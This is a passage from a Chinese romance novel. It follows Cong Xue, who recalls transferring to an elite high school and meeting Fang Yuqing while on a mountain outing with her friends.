“什么?你这就要走了?”邱晗吃了一惊,很是舍不得,“咱们才刚刚认识呢,你就要走,也不留点时间给我,咱们好好培养培养感情!”
她话锋一转:“丛雪,你还记不记得昨天答应了我什么?”
“记得的。”丛雪将自己的背包重新放回沙发上,“我答应过你,只要你再约我,我一定出来。”
邱晗高兴起来:“呐,兑现承诺的时候到了,我现在就要约你。你今天必须出来陪我玩,但是那样的话,肯定赶不上火车的,你怎么选?”
*
丛雪站在公寓门口,眼神复杂地回头,最后看了一眼这一尘不染的室内,不忍地收回目光,轻轻带上防盗门。
背着鼓鼓囊囊的背包走下楼,她沿着来时的路出了小区。
小区对面就是南城大学的后门。隔着老远,丛雪就看到了邱晗的身影。她背着登山包,打扮得十分户外,身旁还站了个男生。
男生身量颀长,头发有点自来卷,颧骨很高,戴着浅棕色的框架眼镜,书卷气十足。
丛雪微微惊讶,心头闪过一个名字。
待走进了,她才确认道:“林以文?”
这个叫林以文的男生看见丛雪,也怔住了。震惊之后则是淡淡的尴尬,勉强抬了抬唇角:“丛雪,是你啊。”
邱晗左看看、又看看:“你们认识?”
林以文已经恢复了常态,淡淡解释:“我们是高中校友。”
丛雪听着这个词,没说什么。
南城师大附中是重点高中,毕业生的名校率远高于其他学校,在这里碰见高中同学不是稀罕事。只不过,她这次回来仅仅三天,就碰见了这么多熟人,丛雪心中隐有一丝不安。
“你怎么会在这里?”林以文思索片刻,“我记得,你高考后好像是去了北城?怎么,小长假回来探亲吗?”
丛雪点了一下头,没多说什么。
邱晗顿时抒出一口长气:“本来我还担心,带个陌生人出来,你万一会不自在呢!没想到,你们竟然认识的。那我就不多做介绍了,咱们赶紧出发吧!”
丛雪拉住她的手腕:“去哪儿?”
“出去玩啊,微信里不是都说好了。”
丛雪看一眼邱晗身后的登山包,轻轻皱起眉:“你说出去玩,我以为就在市区转转。”
“市区有什么好玩的?咱们今天就来个郊外一日游!”
*
丛雪就这样坐上了不知道驶向何方的公交车。
林以文坐前面的单座,丛雪和邱晗结伴坐在后排。
车子一路往城外的国道上驶去。
邱晗悄悄对丛雪耳语:“他是我隔壁班的,我们同在学生会,一直也不算太熟。这学期碰巧一起合作筹办毕业活动,就接触得频繁了点。今天,我们本来是要一起去看场地的,结果他忽然问我想不想去爬山。”
“……你怎么会叫上我?”
“哎呀,我这不是——”邱晗的姿态忽然变得忸怩,小脸红扑扑的,羞涩的笑容怎么也压不住,“有点不太好意思嘛,当然得叫个朋友一起啊,毕竟孤男寡女的在山上……多不好。”
丛雪意味不明地看她一眼:“你喜欢他?”
邱晗噎了一下:“这么明显?”
丛雪点点头。
“我就感觉吧……他可能也有一点喜欢我。要不然怎么会约我去爬山呢?”她说得兴致勃勃,脖子一歪,笑容明晃晃的,“所以我找你过来,想让你帮我看看。”
“看什么?”
“看他是不是喜欢我呀。”
丛雪愣了愣:“我怎么会看得出来?”
“因为你有经验呗!”邱晗托着腮,眼神揶揄地望着她,“我知道,你喜欢——”
她用口型比划了一个名字。
说完,立刻去观察丛雪的反应。
可丛雪既不见羞涩,也没有躲闪,只是静静地别开眼睛,不再回答了。
邱晗觉得丛雪似乎心情不太好,就像在努力压制着一层哀伤。可是她的情绪太内敛了,连难过都要忍气吞声的。
邱晗在心中叹了口气,识趣地没再继续追问。
“说起来,你们高中有点子厉害啊,在南大可以建校友会了,一个个的还都是大佬。让我猜猜,该不会……是牛掰的南师大附中吧?”
丛雪望向窗外,一排排瘦小的松树在阳光下收拢着枝叶。
她轻轻应了一声:“嗯。”
邱晗一点也不惊讶:“快,给我讲讲林以文呗,他高中时候是什么样的?”
丛雪望着天光下微颤的枝影,眼神飘散。
林以文是在她转入南师大附中的第一天认识的。
在丛雪心中,即便已经过去了这么多年,可那天的情形还是清晰得像是刚发生过一样。
……
彼时,暑假将尽,南城却依旧闷热得透不过气。
丛雪打包好仅有的几件行李,坐着曾令淑安排的车,搬进了这栋位于城北的半山别墅。
偌大的房子里静悄悄的,除了保姆和园丁,只有曾令淑在。
她为丛雪安排了三楼朝阳的卧室,又亲自带她绕着前后花园走了一圈,帮她熟悉周围的环境。
丛雪从没有见过这样的钟鸣鼎食之家,心里不禁疑惑:曾阿姨只是三甲医院的医生,竟然能赚这么多钱吗?
直到后来,她才从司机口中得知,曾令淑本就出身显赫。
她父亲曾谦是著名的遗传病学家,享誉海内外;丈夫方同春掌管着一家大型药企——恒方药业,家中资产不可计数。
对曾令淑而言,工作只不过是一项个人爱好罢了。
“我先生出差了,短时间内不会回南城。我有一个儿子,和你同岁,也在师大附中读书。这个暑假,他去他舅舅那里小住了,最近应该是快回来了。”曾令淑笑着向她介绍。
丛雪听着,乖巧地应下,心里默默提醒自己:一定要努力和曾阿姨一家好好相处,不惹麻烦,不给她增添负担。
两天后就是开学的日子,可曾阿姨口中那位儿子始终未曾露面。
丛雪也没有多想。开学当天,她早早地起身,披着熹微的晨光,踏入了南师大附中的汇知楼。
走廊里格外安静。虽然有不少学生早早就进了教室,却几乎无人交谈。
因为即将要摸底考试,落座的学生们纷纷拿出书本,自觉地复习起来。
丛雪按着准考证上的信息,来到走廊尽头的一间教室。
南城师大附中有个规矩:每个学期开学都会进行一次全校摸底考试,按照上一学期的年级统考名次安排考场和座位。
丛雪作为转校生,之前没有名次,理所当然地被分到了最后一个考场。
一进门,她就嗅到了截然不同的气氛。
教室里闹哄哄的,桌椅的拖动声此起彼伏。
有人嚷着忘了写暑假作业,有人吐槽怎么一开学就考试,还有人追着打听谁和谁分进了哪个班,场面嘈杂又混乱。
丛雪低调地进来,找到自己的座位号。
她刚放下书包,就注意到前排的男生正捂着耳朵,试图屏蔽掉周围的喧嚣,埋头看一本厚厚的错题集。
察觉到身后有人坐下,男生回过头,不咸不淡地说:“等会能借一下你的2B笔吗?我的断了。”
他晃了晃手中断了头的铅笔。
丛雪轻轻点头,声音也软:“可以的。”
“你也是转学生吧?”林以文眉眼秀气,一脸好学生的模样,见丛雪答应借笔,态度也温和了许多,“你看起来不像是会被分在这种考场里的人。”
丛雪目露疑惑。
林以文的视线往旁边一偏,丛雪顺着看过去,才发现考场里的人果然画风独特。
这里没几个女生是黑头发的,有些人脸上还带着妆容,大家聚在一起,又笑又闹。
自己坐在这里,素面朝天,扎着乖巧的黑马尾,显得特别古板。
她问:“你也是转校生?”
“嗯,我以前育华中学的。啊,你可能没听过,不是什么有名的学校。”林以文挠了挠头,带着点不好意思,“你呢?”
“漕平三中。”
“……”
显然是比“不太有名”更加不入流的学校。
林以文讪讪地笑了笑,扶了下眼镜,又换上一本正经的语气:“附中竞争激烈,咱们这类插班生进来,多多少少都会被边缘化,说不定还要受人排挤。以后只能靠自己了,我们彼此也多照应着点。”
他又瞥了眼周围吵闹的学生们,语气中毫不掩饰一股清高的厌倦:“在这种考场考试,我林以文是最后一次。”
丛雪想,他以前的高中学习氛围一定很好。
教室里坐得七七八八,她旁边隔着一个走道的座位仍是空的。
丛雪将文具一件件摆好,余光瞥了眼隔壁桌角,见那张课桌上贴着一个名字——方屿青。
就在这时,教室的门被人推开了。
她以为是监考老师,抬头望去,视线里闯进来一道眼熟的身影。
少年身高腿长,穿着简单的白T恤,黑色工装裤,连个书包都没背,只指尖漫不经心地转着一支墨绿色条纹钢笔。
他随意扫了一眼教室,顿了顿,接着大步朝她的方向走过来。
——竟然是那个在医院帮了她的男生!
丛雪怔在原地。
他越走越近,丛雪盯着他的脸,只觉得周身的血液都凝滞了,好半晌,才骤然回流。
心跳一下比一下剧烈,丛雪喉咙发紧,胸口被叫不出名字的激荡情绪填满,颤着眸子,就这样忘记了呼吸。
男生在她隔壁的位置停下脚步,拉开椅子坐下,手中的钢笔滚落到桌面上。
周围几个男生立刻围了过来:
“呦,我没看错吧,这谁啊!”
“青青,你怎么跑这儿来考试了?”
“吓得我赶紧看一眼准考证,还以为梦游到第一考场去了。”
“哥几个等下全靠你了,别装死啊!”
方屿青懒洋洋地靠在椅背上,抬手捏了捏后颈,没好气地笑:“少废话,老雷马上到。”
话音刚落,一个戴着粗框眼镜的中年半秃男子走了进来,目光凛凛一扫全场,最后定格在方屿青身上。
他脸色顿时变了,没好气地将试卷往讲桌上一摔,有种七窍冒火般的憋愤感。
“都坐好了!
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马上考试了,一个个还杵着呢,吵什么吵!”
监考老师在讲台上莫名发火,丛雪却完全没有意识到。
视线不受控制地飘向身侧。
方屿青微微仰着头,侧脸线条明朗,眉眼乌黑。发梢略显凌乱,带着一股迎风奔跑后的蓬松少年气。
眼角那枚淡淡的小痣正随着睫毛轻轻挑起,方屿青抱臂靠着椅背,似笑非笑地跟台上炸毛的老师大眼瞪小眼。
开始发卷子了。
丛雪胡乱抓起一支笔,低头写名字,指尖竟忍不住隐隐发抖。不知是因为考试太紧张,还是因为那种异常波澜的情绪在胸腔里翻腾。
余光里,监考老师走下讲台,沿着走道踱步巡视着,最终停在了丛雪身侧。
“啪”的一声,他重重拍在方屿青肩膀上,力道之大,拍得他一侧肩膀都微微塌了下去。
“我丑话说在前头。”雷老师扫视着考场里的人,语气透着锋利的警告,“考试期间,谁要是敢给他递纸条,直接上报教务处!别说我没提醒你们,听清楚了吗?”
“听——清——楚——了——”
众人嘟囔着应了声,一个个瞬间都丧了下去。
“你,”雷老师低头,冲方屿青没好气地剜了一眼,“考完来我办公室一趟!”
丛雪听着,忍不住腹诽:他成绩很差吗?居然还需要别人偷偷传答案?
一边想着,一边浏览了下卷子。题目难度不低,丛雪顾不上再分心,赶紧把注意力拉回卷子上,强迫自己专注,假装没有听见咫尺之外卷面摩擦的轻响。
时间在紧张的情绪里过得格外快。考试结束,丛雪去了一趟厕所回来,发现那个叫方屿青的男生身边已经围满了人,还有个女生直接坐在了她的位子上。
丛雪站在走道口,没有上前,只默默等着。
“青青,快,答案拿出来对一对。”
“你还对答案?”少年好笑地扫那人一眼,嘴角轻轻一歪,“挺上进啊。”
“嗐,有你在,不对白不对!”
“我也要我也要,青哥带我飞!”
“没记答案。”方屿青打发掉围过来的人,站起身,活动了一下被雷老头拍麻的肩膀,抬脚往外走。
“青青,放学约不约啊!”有人在身后笑着喊。
丛雪站在走道口,低着头,紧张得一时忘记朝旁边让。
而他脚步不停地朝她走过来,眼看就要撞上——
丛雪心脏咚咚直跳,即将和他对视的那一刻,方屿青却一闪身,手掌撑着旁边的课桌,长腿一迈,就这样动作利落地翻了过去,没有给她让路的机会。
空气轻轻荡起,拂动丛雪耳旁的碎发,头脑一片空白。
“老雷先约的。”方屿青已经到了门口,随意地一挥手,背影透着些许无奈,“完事球场见。”
……
丛雪背着书包,沐浴着绚丽的夕阳走出教学楼。
身边来来往往很多人,都在高声讨论着今天试卷上的题目。
林以文本来也想拉着丛雪对答案的,却发现她神情有点恍惚,明显心不在焉。他以为她是考砸了心情不好,也就作罢了。
丛雪背着书包往校门口走,路过篮球场的时候,耳侧突然涌来如潮的欢呼声。
她侧过头,只见一片灿烂的霞光布满天际,少年正腾空而起,飞进一团暖金色的雾里。
方屿青在白T外边套了件红色球衣,起跳的瞬间,黑发飞扬,动作舒展得就像是天上最自由的鸟。
丛雪忽然想起那天在医院,他一脚将醉酒的马福山踹倒在地的场景。
嘴角不由得弯起,露出一点久违的笑意。
球场周边早已围满了人,欢呼声一浪高过一浪。
丛雪很想凑过去多看几眼,可这个点,司机已经在校外等着了。她不得不收回视线,催促自己快步朝大门口走去。
当曾阿姨提出,要把她转到南城师大附中借读的时候,丛雪几乎立刻就想到了那抹青绿色的校服领子——他就在那里。
这个想法令丛雪无端觉得安心,虽然他并不认识她,可她已经忍不住开始憧憬接下来两年的高中生活。
没想到,来到这里的第一天,就遇见了他。
甚至还知道了他的名字。
丛雪抿了抿唇,心中漫起一丝甜滋滋的喜悦。
她出了校门,走到熟悉的汽车旁边,轻轻敲了敲车窗,朝司机点头示意,然后拉开车门,规规矩矩地坐进了后座。
司机并没有立即启动车子,而是淡淡说了句:“还要再等一会儿。”
丛雪点点头,没有追问。她从书包里拿出练习册,开始做高二的题目。
暑假期间,她已经将这学期的内容自学到了期中的进度——附中的学习节奏出了名的快,今天的摸底考试就已经展现出不凡的难度。
能有机会读这样的学校,丛雪只想努力配得上它。
太阳一点点西沉,不知过了多久,她正全心地沉浸在解题的过程里,另一侧车门突然被人拉开。
一抹亮眼的红色身影坐了进来。
丛雪下意识抬起头,缓缓转动脖颈——
刚刚还在球场上挥汗如雨的人,此刻就坐在她身侧,隔着一个人的距离,挑眉看着她,似乎对她的存在略感意外。
司机连忙介绍:“屿青,这就是太太带回家暂住的那个孩子。”
少年额角还挂着未干的汗珠,听完司机的介绍,露出了然的神色,冲她随意一点头:“你好。方屿青。”
“啪”一声,丛雪手中的笔掉在了膝盖旁。
11. 11
后来,丛雪再回忆起那一天时,脑海中浮现的,是车窗上映着的金色夕阳,皮肤紧贴真皮座椅的黏连触感,还有怎么也慢不下来的剧烈心跳。
她不记得自己是怎么僵硬地下了车,又是怎么一路沉默着,跟在方屿青身后,走进别墅大门。
夏末的花园自成一派静谧天地。
石板小径两侧种着丛雪叫不出名字的品种海棠,在园丁的打理下正灼然盛放着。风一吹,零星花瓣飘散下来,有一片落在了丛雪脸上。
她正要抬手去拂,方屿青却忽然回过头来,丛雪的手悬在半空,不敢再动。
“以后让司机先送你回家,不用等我。”他声音淡淡的,脸上没什么情绪。
丛雪屏住呼吸,轻轻点了点头。
方屿青看了她两秒,语气有点微妙:“你不会说话?”
自从上车以来,丛雪就一言不发,面对方屿青的自我介绍,也只是怔怔地出神,只剩下点头或摇头的本能反应。
“会说话。”她终于开口,声音轻得像一阵风,带着紧张的发颤。
方屿青“哦”了一声,随即转过身去,双手插进裤袋:“抱歉。”
语气倒听不出什么歉意。
丛雪憋了一路的气这才缓缓吐出来。
她原本满脑子只有紧张,此刻才后知后觉地意识到,原来他们不止在同一所学校读书,今后还将生活在同一片屋檐下。
丛雪感到一阵微醺,仿佛被这从未降临过的幸运冲昏了头脑。
那些粉红色的海棠花瓣,就像飘进了她的心里,化作一颗颗轻盈的气泡,悄然升上天空。
她精神恍惚地跟着方屿青走进别墅。
方屿青没走电梯,她便也跟着他走楼梯。
上楼时,心跳仍未平静。直到那抹高挑的身影消失在走廊尽头,丛雪才像是被轻轻唤醒一般,弯了弯唇角,转身朝自己的房间走过去。
远远的,她看见房门敞开着,屋里隐约有人影晃动,是保姆正在打扫。
说打扫其实不太准确,保姆正站在屋子中央,双手叉腰,审视着房间内的摆设。
“毛姐。”丛雪站在门口,轻轻打了声招呼。
毛姐是个五十岁出头的女人,身材圆厚,个子不高,眉眼带着强势。
论年纪,丛雪其实该唤她一声“阿姨”,但这里人人都称呼她“毛姐”,丛雪便也入乡随俗地跟着叫。
毛姐回过头,语气还算和气:“小雪回来了。”
丛雪点点头,目光落到敞开的衣橱上,指尖悄悄攥紧了书包带。
“您……是在收拾什么吗?”
“哦,也没收拾什么。”毛姐语气平淡,“我就是怕你头一回在这里住,东西归置得乱七八糟,想着过来帮把手。你刚来嘛,家里的东西还是有些讲究的,万一没人和你说清爽,出了差错,那多不好,我就来跟你说说。”
她走过去,轻轻拂了拂床头那张小几:“这个,是进口的柚木,怕烫得很,不好直接放杯子的,要垫杯垫。杯垫你晓得伐,就在厨房抽屉里。”
丛雪连忙走过去,将自己的杯子拿起来端在手里,低声答:“好,我知道了。”
“这件地毯是真丝羊绒的,娇贵得嘞,可不能光脚踩的。哦对了,你脚上这双拖鞋是家里带过来的吧?穿多久了?可别掉塑料渣子在上头哦。”
“这间房以后是你一个人住,屋里的卫生,还有这整层楼的,我干活的时候你就搭把手,该学的学。女孩子住在别人家可不兴偷懒的,周末也别起得太迟,叫人笑话。”
她说着,又瞥了丛雪一眼:“你别怪我多事,我是听说你没妈妈的,没有人教,以后我就多操操心。”
毛姐语速不快,语调也不重,说得十分理所当然,却像钉子一样往丛雪心里扎。
末了,她又想起什么,叮嘱道:“你见到屿青了吧?他也住这层,卧室和小书房都在走廊那头。你平时说话走路动作都轻些,别打扰到他,更别有事没事就往他跟前凑。女孩子家家的,要守分寸的,晓得吧?”
毛姐交待完一圈,拍拍手,淡定地离开了。
门一关,屋子顿时安静下来。
丛雪站在原地,被这一通教训打回了原形。
刚才那点因为“住在同一个屋檐下”而生出的雀跃,已经被兜头的冰水彻底浇灭了。
她不由自主地抬头,看着天花板上漂亮的吊灯,一瞬间,仿佛又回到了那个破破烂烂的出租屋,她一个人蜷在角落里,听着水龙头的滴水声,担惊受怕地度过漫长黑夜。
环境再好,终究不是她的家。
*
“没了?”
邱晗不满地噘了噘嘴:“你说你当初和林以文在同一个考场考试,那之后,就再也没见过了?”
“……也不是。”丛雪望着窗外飞速倒退的农田,不知怎么的,竟这样一发不可收拾地想起了那天所有的场景。
原以为早已经遗忘的细节,却在一根线索的牵动下,抖落了光阴的尘埃,再次浮现在心头,令丛雪短暂地失了神。
其实毛姐说得没错,她的确是个越界的入侵者,没有守好自己的分寸。落到如今这个地步,不过是自食其果而已。
邱晗晃了晃她的胳膊:“好丛雪,快再多跟我说点林以文以前的事!”
丛雪想了一下,说:“考试结束的第二天,学校就公布了分班信息,林以文在我隔壁班。”
南师大附中高二年级的分班采用积分制,以高一四次大型考试的成绩为基准,按照不同的权重来计算得分。
总共十二个班,除三个重点班以外,余下的都是平行班。采用统一学制,高二不分文理科。
等进入高三,重点班的师资配置是固定的。而平行班则是语数外三门主科是大班一起上,小三门的选科,则会按照每个人的志愿实行走班制。
丛雪和林以文这样的转校生,因为没有高一成绩,一律分入了平行班。
“林以文那个时候就很受欢迎吧?”邱晗挠了挠有些泛红的耳垂,“他在我们院里可风光了……文采好,会写诗,说话办事都很稳妥,老师们都喜欢他。对了,他还保研了呢!”
丛雪有一点惊讶。
在她的印象里,林以文在人际交往上其实并不算很擅长,甚至还有一点点清高的劲儿。
附中的学生大多家境殷实。而她记得,林以文出身单亲家庭,条件不算宽裕。能转来附中,是因为在一场企业赞助的作文大赛上获得了金奖。
当初那次摸底考试,他和她一样,成绩都不太理想。
丛雪记得,自己在学年大榜前站了很久,花了好一会儿功夫才找到自己的名字——
397,一个非常不起眼的下游位置。
对于这个成绩,她早就有心理准备。附中竞争激烈,学习进度又快,第一次考试不太可能出彩。可她没想到,差距会这么大。
这时,肩膀被人拍了拍,是林以文。
“考得怎么样?”他问。
丛雪指了指榜单上自己的位置。
“我比你好一些,250名。呵,这数字听着可真讽刺。”林以文轻笑一声,语气里含着几分自嘲,表情很凉,“这些王子公主们的起跑线就是高。”
“没事,我们再努努力。”
丛雪鼓励他,也是在鼓励自己。
她虽然来自一所末流中学,却不愿早早就认输。鸡头掉进了凤凰窝,也想搏一搏。
“瞧——”林以文忽然抬了抬下巴,语气莫名夹带着一股酸味,“咱们考场那位。”
丛雪顺着他的目光往上看。
榜单最顶端,赫然印着一个熟悉的名字——
方屿青。
比名次更耀眼的,是后面那一串几乎不真实的分数——尤其是数学、化学、生物这三科,是满分。
丛雪怔怔盯着那几个满分。
这是她从未见过的成绩单。
仿佛看到了一条智商的楚河汉界,轻易将她隔离在对岸。
晚上吃饭时,饭桌上只有她和曾令淑两个人。丛雪一边嚼着米饭,一边不自觉地提起,在最后一个考场偶遇方屿青的事。
曾令淑听了,无奈地吐槽起来:“上学期期末考试那天,我和他爸都出差了。这小子犯浑,自己睡过头,直接错过了第一天的考试,白白丢掉了好几百分,沦落到最后一个考场,一点也不冤。”
嘴上在骂,语气却是笑着的,像是在讲一件有趣的小事,丝毫没有责备的意味。
可那是期末考试啊。
曾令淑这份毫不在意的轻松态度,让丛雪心中泛起一丝酸涩的羡慕。
她想起自己小时候,只要一次小考没考好,就会被马娟拿着扫帚狠狠地抽屁股和大腿,抽完了还要罚站。常常一站就是几个小时,腿麻得发抖,还要趴在墙上写作业。
惩罚过后,马娟又会一边流着泪、一边把她抱进怀里,反复念叨:“我们这种穷苦人家,谁都靠不着,只能靠自己。囡囡,你一定要出头,一定要考上大学,替妈妈争口气!妈妈不能被老马家的人欺负一辈子!”
替妈妈争口气。
丛雪忽然就没了胃口,轻轻放下筷子。
曾令淑又问:“说来,你们是不是已经分完班了?”
“嗯。”丛雪迟疑了片刻,才答。
她今天去新班级报道时,
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又亲历了一次“全场轰动”的入场仪式。
当方屿青迈进平行班教室的那一刻,全班男生纷纷吹起了口哨——
“哎呦喂,这谁啊,走错班了吧?”
“苍天有眼!我师大附中的教育从这一刻起,真正公平起来了!”
“老雷啊老雷,你可真是狠心,青青就失利那么一次,你也舍得不要他?”
雷老师是方屿青高一的班主任,也是本届年级主任。
他怎么也没想到,自己一手贯彻的“权重分班制”,竟把最引以为傲的学生给划拉到平行班里去了。
听说暑假期间,他还特意登门拜访了方家,苦口婆心地解释,说高一期末的成绩在分班标准里占了60%,影响实在太大,只要方屿青愿意,可以为他额外安排一次补考。
方同春听了,只是笑了笑:“制度既定,就别搞特殊。”
平行班就平行班。
那天之后,雷老师一看到方屿青这小子,就开始犯高血压。
毕竟,放眼整个南城,有哪个学校的年级状元,能给分到平行班去的?!
*
“得了吧,师大附中即便是平行班,那也是其他学校望尘莫及的。唉,真羡慕你们。”邱晗抬手,扇了扇风,半开玩笑地感叹,“你瞧,就算是平行班,不也一样轻轻松松就考进南大?”
“也不太能。”丛雪轻声说。
邱晗看她一眼:“什么?”
“轻轻松松进南大,不太能。”丛雪抬起眸子。
她的眼神有点超乎想象的平静,像泱泱水面下压着的涡流,看得邱晗一下子说不出话来,愣了愣,才结巴道:“那……那倒也是,谁想进来,不得掉一层皮啊!”
丛雪没再说什么。
她看到阳光洒在自己的书包带上,这个角度,有点像以前坐在汇知楼的台阶上做题,阳光也是这样的斜角投射过来,缓缓地在书页上移动,直到阴影覆住整个纸面,头顶便会亮起廊灯。
她熟悉学校里每盏灯亮起的时间。
不仅如此,她还了解这所校园里许多不为人知的细节——
食堂永远寡淡的白粥和每天不重样的小菜,藏书楼角落里最隐蔽的单人座位,背单词时最适合倚靠的走廊扶手,还有活动室那扇特别适合对着天空发呆的窗户……
这些安静又隐秘的犄角旮旯,她全都清楚。
在这所学校里,丛雪就像一头独来独往的小兽,在偌大丛林里摸索着自己的生存法则。
林以文偶尔会在大部队扫荡过后,约着她一起去食堂,吃一顿早已凉透了的午饭。
开学以后,林以文的话就变得越来越少,大多数时候只是安静地闷头吃饭。
丛雪能感受到他骨子里的落寞。
他们身上有很多相似的东西。都满怀抱负,想要攥紧命运的缰绳,在这片不属于他们的土地上挣扎。悄无声息,却不服输地适应着既定的规则。
就像马娟说的那样,他们这种穷人家的孩子,谁都靠不着,只能靠自己。
丛雪从来没指望有谁能替她撑伞,雨下得再大,也只会自己往前跑。
*
“你们居然还是饭友?”邱晗瞪大眼睛,震惊得下巴都要掉下来,语气里不自觉带了点后知后觉的酸意,“那他……是对你有意思吗?”
“没有。”丛雪摇头,“就是纯饭友。”
“我不信。”邱晗吐出一口气,郁闷地打量她一眼,“丛雪,你自己可能不知道,你其实是那种特别招人疼的类型。和你待久了,会不自觉生出一种想要保护你的冲动。我要是男生,我肯定喜欢你!”
“可林以文不是。”丛雪语气很轻,口吻却笃定。
“……你就这么确定?”邱晗挑了挑眉,眼神带着探究。
这时候,公交车缓缓到站了。
丛雪赶紧拉着邱晗站起身,随着人群慢腾腾地往车门口挪去,同早已经下车的林以文汇合。
眼前已无丝毫城市光景,只有清凉的山风和蓝天下蜿蜒起伏的碧色山脉。
丛雪抬起头,望见前方的大石墩上刻着几个醒目的大字:云明山。
耳边仿佛又响起了某道熟悉的、甜腻的女声,吵吵嚷嚷,带着掩饰不住的恣意张扬,霸道地灌入她的耳朵。
丛雪想起车上没聊完的话题,心念微动。
她抬起眼睛——
前方,邱晗正歪头看着林以文,笑容灿烂;而林以文站在她身边,神情淡淡。
丛雪心中清楚,林以文不喜欢邱晗,亦不喜欢她。
他突然提议要来爬山,不是因为风景好,而是因为他想见的人……大概率,就在这山里吧。
12. 12
一年前,云明山还只是一座很冷门的山,网上随处可见的南城三日游攻略里都未必能提到这么个地方。
可短短一年,它却迅速在各个网络平台火了起来。
传说这里的福源庵里供着一棵百年神树,专司人间因缘。
什么面试入职、升迁加薪、相亲交友……只要是人和人之间的关系,它都能护佑一二。
许多博主来此地打卡,流量一带动,香火日益旺盛,搞得这座原本清幽的小庙一夜爆红,成了一座网红景点。
福源庵的正中,一棵粗壮的老树静静矗立着,枝干虬劲,树皮斑驳,看着像有千年历史了,气势很是庄重。
可再庄重的气势,还是没能扛住现实的腐蚀——
枝干上挂满了五颜六色的许愿布条,坠着各式各样的小物件:“逢考必过”木牌,“早日暴富”金荷包,“恋爱大吉”粉色同心结……远远望去,老树一片花里胡哨,很有点晚节不保的意思。
耿路辉顶着一副歪戴的墨镜,身穿紧身运动背心,露出刻意练出来的肱二头肌,在正午的阳光下晒得像条刚出锅的龙虾。
他拎着排了半小时队才买到的“福缘”文创雪糕,钻进树底下的阴凉里,却只看到方屿青一个人靠在树干上,懒洋洋地望天。
饶是耿路辉一个直男也不得不承认,方屿青这厮,猛一看,还真是挺人模人样。
就这么随意的往树底下一站,整个人就跟挂了层晨雾似的,干净又出挑,还带着几分冷静的距离感。
旁边都经过多少拨小姑娘了,没几个敢上前搭讪的,但回头窥探的视线只多不少。
“诶,宋恩让呢?”
耿路辉走近了,随手撕开一只雪糕递了过去。方屿青侧头一躲,他又丝滑地将雪糕塞回了自己嘴巴里。
“不是她要吃雪糕的吗?”
“排队去了。”
方屿青一抬下巴,示意远处的许愿锦囊售卖窗口。
耿路辉顺着看过去,果然看见长长队伍里的宋恩让。
她今天穿了一身精致的压褶南瓜袖连衣裙,打着小巧的木耳边阳伞,墨镜半耷在鼻梁上,妆容精致,神色却有点恹恹的。
“啧,公主殿下看上去不太高兴啊。”耿路辉拍了拍方屿青的肩膀,“走呗,过去陪她排个队。”
“你去吧,我没愿望可许。”
方屿青双手插兜,微仰着头,盯着树干上垂下来的一个小东西发呆。
那是一只粉嘟嘟的桃子形吊坠,上面印着四个小字:桃你欢心。
方屿青盯着那颗桃子看了一会儿,像是想起什么有趣的事,唇角缓缓勾起一抹弧度。
“嗬,你没有,爸爸就有了?小爷我什么心愿都靠自己双手实现!不就是人和人的缘分吗,就不劳烦各路神仙了哈。”耿路辉手舞足蹈地说。
方屿青好笑地瞥一眼他手里:“你的缘分要化了。”
“……”
耿路辉赶紧大口吸溜起快速融化的“福缘”雪糕。
他一边吸、一边问:“青青,你留学的事准备得咋样了?”
方屿青高深莫测地仰着头,懒得搭理他。
“其实也没啥好准备的。”耿路辉舔着雪糕,自说自话,“反正你外公的房子留给你了,那边一切都是现成的。到时候真需要点什么,你尽管开口,爸爸就算赴汤蹈火,也给你送过去!”
“开三十分钟车叫赴汤蹈火?”方屿青眼皮都没抬,嘴角挂着一抹笑,“那接个机算什么,上刀山下油锅?”
“嘿,你我兄弟马上就能在大洋彼岸团聚了,爸爸我这心里甭提多踏实了!”
“不替考,不写作业,不改论文。”
“……”
耿路辉的嘴角垮了下来——这雪糕怎么回事,一瞬间就不甜了!
“青青啊,我记得你以前挺爱吃冰激凌的,怎么现在一点也不碰了?”
方屿青一愣:“我有吗?”
“有啊,高一那会儿吧,我记得特清楚,有段时间你几乎每天都买。当时我还以为你是在凹什么‘甜系奶狗学霸’人设,就没戳穿你而已。”
方屿青没说话,神色却有几分怔忪。
那段时间,外公刚刚过世,他因为参加生物竞赛集训被缴了手机,没能见上外公最后一面。
他自己也说不上来,是不是因为情绪低落,才会想要寻求甜食带来的愉悦感。又或者,仅仅是因为外公生前最爱吃的,就是冰激凌。
耿路辉终于干掉了一整根雪糕,把“福缘”彻底吞进肚子里。
甩了甩沾满糖渍的手,他装作超绝不经意地问:“那个……你要出国的事,跟丛雪说了吗?”
方屿青一脸“我就知道”的表情。
他像是压根没听见耿路辉的问题,慢悠悠迈开步子,不紧不慢地走向福袋售卖窗口的长龙。
耿路辉挑起眉毛,亦步亦趋地跟着。
“你呀,就是嘴硬心软!嘴上说着不陪,身体还不是老老实实地过来排队了?走走走,宋恩让在前头呢……”
方屿青一把推开他搭在自己肩膀上的手,眉头皱得死紧:“再不洗手,小心变成蜜糖龙虾!”
耿路辉噘起嘴,故作委屈地举起两只手,看着更像一只龙虾了。
“青青,说实话啊,在宋恩让和你们大学那些莺莺燕燕之间,我投丛雪一票。”
方屿青嘴角抽了一下,懒懒道:“还轮不到你投。”
耿路辉“嘁”了一声,带着那种“没什么事情是爸爸看不穿”的揶揄坏笑。
方屿青和丛雪之间的秘密关系,耿路辉也是无意之中发现的。
去年秋天,他参投的一只热门股票突然暴跌。耿少爷一夜之间亏损了巨资,心情低落到极点,偷偷溜回了国,说是要回故乡修身养性,实际是在国内边嘬奶茶、边舔伤口。
不敢让他爸知道他回来了,耿路辉一直窝在酒店住着。
期间有一天,他借方屿青的车出门兜风。
车开得正爽呢,手机响了,是许久不联系的老同学。耿路辉边接电话边打哈哈,结果前头的车突然急刹,给他吓了一大跳,手机没拿稳,一下子飞到了座位底下。
他只好靠边停车,猫着腰去够。
手在座椅下摸来摸去,手机没摸到,倒是摸出了一枚软软的、小小的、包装完整的东西。
耿路辉盯着这小东西看了两秒,像被烫着似的,猛地又给塞了回去!
过了一会儿,他怀着难以置信的心情,重新又给掏出来,拿在手里捏了捏。
是避.孕.套没错。
品牌他还认识。
在他好哥们方屿青的车上。
耿路辉觉得自己瞎了。
他立刻飙车冲去找方屿青,揪着他的领子,激动地一顿乱吼:“青青!是谁!是谁夺走了你宝贵的贞操?宋恩让?不可能吧?不会是她吧!!!”
方屿青被他摇得差点脑震荡,烦躁地一把推开他的钳制。
这淡定的反应让耿路辉傻了眼。
他盯着方屿青的眼睛,鬼使神差的,忽然来了灵感,语气倏地一变:“丛雪?”
方屿青没承认,但也没否认,只是警告性地瞥了他一眼:“……管好你那张嘴。”
